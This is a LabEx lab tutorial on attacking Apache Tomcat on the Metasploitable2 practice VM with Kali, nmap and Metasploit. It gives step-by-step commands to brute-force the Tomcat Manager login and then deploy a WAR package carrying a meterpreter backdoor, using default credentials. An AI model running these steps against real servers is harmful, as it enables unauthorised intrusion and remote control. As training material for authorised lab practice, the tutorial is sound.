Exploiting Tomcat Vulnerability

Introduction

In this lab, you will learn the principles of exploiting Tomcat vulnerabilities and the process of attacking them. During the attack process, you will learn how to use Kali Linux and understand the attack framework Metasploit Framework (MSF) in Kali. The target machine to be penetrated in this lab is Metasploitable2, based on the Kali environment provided by LabEx.

Skills Graph

Scan the Target Machine for Network Vulnerabilities

In a typical penetration test, we need to further attack the target machine. The first thing we need to do is to perform a penetration scan on the target machine. During the scanning process, we can discover the services provided by the machine, and then determine whether there are vulnerabilities based on the information available. Next, we attempt to penetrate the potential vulnerabilities and ultimately compromise the target machine to obtain its vulnerabilities.

1. Open an xfce terminal on the LabEx host machine and start the Metasploitable2 target by running the following command:

sudo virsh start Metasploitable2

2. Test the connectivity to the target machine by pinging it:

ping 192.168.122.102

Press Ctrl+C to stop the ping.

3. Launch the Kali Linux container and enter the bash environment by running:

docker run -ti --network host b5b709a49cd5 bash

4. Inside the Kali container, test the network connection to the target machine:

ping 192.168.122.102

Press Ctrl+C to stop the ping.

Now both the attack machine and the target machine are running, and you can start the penetration testing.

5. Then we start msfconsole and enter the operation interface:

cd ~
msfconsole

5. In the scanning phase, Nmap is a very useful scanning tool. During the vulnerability scanning process, we can analyze and attempt potential vulnerabilities through analysis. Here, we perform a penetration scan on the target machine using the following command:

nmap -sV -T5 target

In the above command, -T sets the scanning speed:

Press Ctrl+D to quit the Metasploit console then start the inspection

Brute-force the Tomcat Password

In this step, we will start exploiting the Tomcat vulnerability. We will use the auxiliary/scanner/http/tomcat_mgr_login module, which attempts to log in to the Tomcat Manager using a set of specific usernames and passwords. If the login is successful, it outputs the result.

The attack module code:

• auxiliary/scanner/http/tomcat_mgr_login

From the scan results, we can see that port 8180 is open. Let's try to attack this port. First, in the MSF terminal, search for the Tomcat module to see if there is a corresponding vulnerability module:

1. First of all, if you are not in the Metasploit console, you should start the Metasploit console:

cd ~
msfconsole

2. Use search to find the appropriate module:

search tomcat

3. Use the use command to select the appropriate module:

use auxiliary/scanner/http/tomcat_mgr_login

4. Display the parameters that need to be set:

show options

5. Then, check the necessary parameters that need to be set, and use the set command to set the parameters:

set RHOSTS 192.168.122.102

6. Set the port information:

set RPORT 8180

7. Next, use the command to attack and brute-force the password:

exploit

Press Ctrl+D to quit the Metasploit console then start the inspection

Use the Tomcat Password for Penetration

After obtaining the Tomcat password from the corresponding module, we will use the password to penetrate the target machine. We will use the exploit/multi/http/tomcat_mgr_deploy module, which logs into the Tomcat Manager and executes a payload. This payload uploads a WAR package using the PUT operation, and this WAR package contains a JSP file that provides a meterpreter backdoor shell.

The attack module code:

• exploit/multi/http/tomcat_mgr_deploy

1. First of all, if you are not in the Metasploit console, you should start the Metasploit console:

cd ~
msfconsole

2. Search for the appropriate module:

search tomcat

3. Then, select the appropriate attack module:

use exploit/multi/http/tomcat_mgr_deploy

4. Use the show command to view the necessary parameters:

show options

5. Set the target host address and the port to attack:

set rhost 192.168.122.102

6. Set the port information:

set rport 8180

7. Set the httpusername account name:

set httpusername tomcat

8. Set the httppassword password:

set httppassword tomcat

9. Then, perform the attack (this may take approximately one minute):

exploit

10. Alright, we have now penetrated the target machine. Next, we will verify the successful penetration. In the successful command-line terminal, enter the command:

sysinfo

Do not enter whoami, as it will cause an error because the meterpreter payload used here does not support commands like hostname, id, whoami, etc. You can use the help command to see the commands it supports:

As shown following, it displays the operating system information:

Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux

Press Ctrl+D to quit the Metasploit console then start the inspection

Summary

In this lab, you learned the principles of the Tomcat vulnerability and the process of attacking it. Generally, before a penetration test, we need to gather information about the target machine. During the information gathering process, we can better discover vulnerabilities and compromise the target machine. After completing this lab, you should have mastered the following knowledge points:

• Principles of Tomcat vulnerability
• Use of Nmap scanning
• MSF attack process
• Verifying successful attacks